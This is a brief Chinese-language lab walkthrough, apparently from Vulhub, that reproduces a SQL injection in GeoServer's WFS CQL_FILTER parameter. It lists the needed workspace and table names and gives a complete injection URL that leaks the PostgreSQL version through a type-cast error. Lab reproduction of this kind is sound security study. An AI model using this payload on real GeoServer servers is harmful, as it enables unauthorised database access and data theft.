启动环境
查看端口号
访问http://your-ip:8080/geoserver即可查看到GeoServer的首页。
在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下:
- Workspace name: vulhub
- Data store name: pg
- Feature type (table) name: example
- One of attribute from feature type: name
利用这些已知参数,发送如下URL即可触发SQL注入漏洞:
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
使用SQL注入获取到了目标服务器PostgreSQL的版本